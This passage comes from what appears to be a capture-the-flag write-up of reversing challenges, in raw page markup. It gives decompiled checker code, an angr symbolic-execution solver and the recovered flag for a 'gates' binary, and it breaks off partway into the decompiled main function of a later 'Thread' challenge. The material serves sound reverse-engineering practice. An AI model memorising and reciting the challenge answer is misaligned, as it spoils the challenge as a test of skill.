bytes.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/25499bbbc073ab240ecdc175d4682e54/e17e5/image-20240621221752384.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 38.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABP0lEQVQoz12SZ4KCMBCFuY1SFEhvhM6u9z/Q2yHiqvwYMqR886ZkSmloreGjhzIa0zZDKAElJcL2A95F6GWDGUeUZYk8z1EUxZd97mXeKlwu13R536iq6v+wJP9lxX5OD/OTvYFPP6vvFa4fEc4Xk/+yk5qiLE5QAu4f4y0sWb+Mab03LYzmmINAoAyGqYe2GsM6pZVJDh0tVHCobrd3kPwAci4gpQAXHC4GNC0BJcMaJQVw0PMKNQxoGP+u31Gmz0wSkEmN6ARGx9FZQYoD7KGwc6RsjNQwheWxQWmJhrewg08KW8bQ0v+uLqVcURROne69xOhFAlvqrDUSkz+A85AmYNwWSK1Qswamd7QKAhKcwIyz1NDMO4o8dzA0KiYEuGBTrfZaNnVN4xThfx9gzkFNBIw9PXyOT/5qRvkuwx+0P/2Nn3YfUAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/25499bbbc073ab240ecdc175d4682e54/8ac56/image-20240621221752384.webp 240w,\n/static/25499bbbc073ab240ecdc175d4682e54/7f61c/image-20240621221752384.webp 400w\"\n              sizes=\"(max-width: 400px) 100vw, 400px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/25499bbbc073ab240ecdc175d4682e54/8ff5a/image-20240621221752384.png 240w,\n/static/25499bbbc073ab240ecdc175d4682e54/e17e5/image-20240621221752384.png 400w\"\n            sizes=\"(max-width: 400px) 100vw, 400px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/25499bbbc073ab240ecdc175d4682e54/e17e5/image-20240621221752384.png\"\n            alt=\"image-20240621221752384\"\n            title=\"image-20240621221752384\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>After that, this buffer is evaluated and processed in the following function.</p>\n<p>Here, it seems to apply different operations to the input characters depending on the integer values embedded in the buffer.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">void</span><span class=\"token operator\">*</span> <span class=\"token function\">sub_1220</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> i <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">do</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token class-name\">int32_t</span> rdx_4 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i<span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rdx_4 <span class=\"token operator\">==</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rdx_11 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_11 <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rdi_7 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdi_7 <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                <span class=\"token punctuation\">{</span>\n                    <span class=\"token keyword\">char</span> rdx_12 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_11 <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">^</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdi_7 <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> rdx_12<span class=\"token punctuation\">;</span>\n                <span class=\"token punctuation\">}</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span>\n        <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rdx_4 <span class=\"token operator\">==</span> <span class=\"token number\">1</span> <span class=\"token operator\">||</span> rdx_4 <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rdx_3 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_3 <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                <span class=\"token punctuation\">{</span>\n                    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rdi_3 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdi_3 <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                    <span class=\"token punctuation\">{</span>\n                        <span class=\"token keyword\">char</span> rdi_4 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdi_3 <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_3 <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> rdi_4<span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                <span class=\"token punctuation\">}</span>\n            <span class=\"token punctuation\">}</span>\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>rdx_4 <span class=\"token operator\">==</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> rdx_7 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token operator\">&amp;</span>data_4040<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_7 <span class=\"token operator\">+</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                <span class=\"token punctuation\">{</span>\n                    <span class=\"token keyword\">char</span> rdx_8 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>rdx_7 <span class=\"token operator\">+</span> <span class=\"token number\">0xd</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    i <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">-</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">-</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> rdx_8<span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">==</span> <span class=\"token operator\">&amp;</span><span class=\"token constant\">stdin</span><span class=\"token punctuation\">)</span>\n                    <span class=\"token punctuation\">{</span>\n                        <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token punctuation\">}</span>\n                    <span class=\"token keyword\">continue</span><span class=\"token punctuation\">;</span>\n                <span class=\"token punctuation\">}</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n        i <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>i <span class=\"token operator\">+</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">!=</span> <span class=\"token operator\">&amp;</span><span class=\"token constant\">stdin</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> i<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Eventually, if the data in the buffer matches a hardcoded byte sequence, the input is judged to be the correct flag.</p>\n<p>By this point, it was clear that this was the kind of problem you can solve with brute-force <code class=\"language-text\">angr</code>, so I wrote the following solver.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> angr\n<span class=\"token keyword\">import</span> claripy\n\nproj <span class=\"token operator\">=</span> angr<span class=\"token punctuation\">.</span>Project<span class=\"token punctuation\">(</span><span class=\"token string\">\"gates\"</span><span class=\"token punctuation\">,</span> auto_load_libs<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">)</span>\nobj <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>loader<span class=\"token punctuation\">.</span>main_object\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Entry\"</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>obj<span class=\"token punctuation\">.</span>entry<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nfind <span class=\"token operator\">=</span> <span class=\"token number\">0x401124</span>\navoids <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0x40110c</span><span class=\"token punctuation\">]</span>\n\nflag <span class=\"token operator\">=</span> claripy<span class=\"token punctuation\">.</span>BVS<span class=\"token punctuation\">(</span><span class=\"token string\">'flag'</span><span class=\"token punctuation\">,</span> <span class=\"token number\">32</span><span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> explicit_name<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">)</span>\n\ninit_state <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>entry_state<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    init_state<span class=\"token punctuation\">.</span>solver<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">.</span>get_byte<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x21</span><span class=\"token punctuation\">)</span>\n    init_state<span class=\"token punctuation\">.</span>solver<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">.</span>get_byte<span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7f</span><span class=\"token punctuation\">)</span>\n\ninit_state <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>entry_state<span class=\"token punctuation\">(</span>stdin<span class=\"token operator\">=</span>flag<span class=\"token punctuation\">)</span>\nsimgr <span class=\"token operator\">=</span> proj<span class=\"token punctuation\">.</span>factory<span class=\"token punctuation\">.</span>simgr<span class=\"token punctuation\">(</span>init_state<span class=\"token punctuation\">)</span>\nsimgr<span class=\"token punctuation\">.</span>explore<span class=\"token punctuation\">(</span>find<span class=\"token operator\">=</span>find<span class=\"token punctuation\">,</span> avoid<span class=\"token operator\">=</span>avoids<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># 出力</span>\nsimgr<span class=\"token punctuation\">.</span>found<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>posix<span class=\"token punctuation\">.</span>dumps<span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># FLAG{INTr0dUction_70_R3v3R$1NG1}</span></code></pre></div>\n<p>Running this script takes a little time, but it identifies the correct flag. (This might not have been the intended solution…)</p>\n<p>I unusually got the flag very smoothly, and since I was happy to solve it third, I took a commemorative screenshot.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 844px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/22e7b7c1d33f00d889df1143267e54ef/33e10/image-20240621224709145.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 51.25000000000001%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABlElEQVQoz21SW5KjMAzkDjtJeBrMwxgwAcLM1mbuf68etUio2q396LKR5Fa3RJSmKfI8VxRF8ddZliWWZUUIE0zjUY5fKG0NYwzKqtK8MSUquTOWJAkiay3atgXPN1hQ17U+yLJMi23rkJU1stycTSvJ11LPO8lutxsiXhjouk7JvPdomgZ932OeZyUmYZgmOKlxrlMBfGNFbdN5FJIvpIkqpGX7ks8iFlMhG2zbdj6ehPB+vyvYlLHCVMhrrw0PwvQgzIWM6phwzinhMAwyu3DOkneSreuqOSOEppI37QjzEkOuKBaZiczpbY1W39afz6c2YDHJqPjxeGAcR4nlQiTzI6HkOes4jhGRhPbeg+b3icIc1v6JU7GC37ZF2QWkWS5LuSKivSkcw7evzfKXIAlP2zaoZUkniYDWFOIuLSqkVY84yY4ts+DP7x2fnzvWx4b5PmPZVjSyjDAO+N537IJ5kYUsizQPuF6vuFwuL3zg8vFLY2qZSsLg0Pte4BUcOtV2omyWmXKujHuJO7nz9/gvhPAHPGUVg+amUqUAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/22e7b7c1d33f00d889df1143267e54ef/8ac56/image-20240621224709145.webp 240w,\n/static/22e7b7c1d33f00d889df1143267e54ef/d3be9/image-20240621224709145.webp 480w,\n/static/22e7b7c1d33f00d889df1143267e54ef/20d15/image-20240621224709145.webp 844w\"\n              sizes=\"(max-width: 844px) 100vw, 844px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/22e7b7c1d33f00d889df1143267e54ef/8ff5a/image-20240621224709145.png 240w,\n/static/22e7b7c1d33f00d889df1143267e54ef/e85cb/image-20240621224709145.png 480w,\n/static/22e7b7c1d33f00d889df1143267e54ef/33e10/image-20240621224709145.png 844w\"\n            sizes=\"(max-width: 844px) 100vw, 844px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/22e7b7c1d33f00d889df1143267e54ef/33e10/image-20240621224709145.png\"\n            alt=\"image-20240621224709145\"\n            title=\"image-20240621224709145\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"threadrev\" style=\"position:relative;\"><a href=\"#threadrev\" aria-label=\"threadrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Thread(Rev)</h2>\n<blockquote>\n<p>W… wha…!?</p>\n</blockquote>\n<p>Decompiling the <code class=\"language-text\">main</code> function of the challenge binary gives the following result.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token class-name\">int32_t</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int32_t</span> argc<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> argv<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token operator\">*</span> envp<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">void</span><span class=\"token operator\">*</span> fsbase<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int64_t</span> rax <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>fsbase <span class=\"token operator\">+</span> <span class=\"token number\">0x28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"FLAG: \"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">void</span> var_48<span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> rax_4<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">__isoc99_scanf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"%45s\"</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">&amp;</span>var_48<span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span 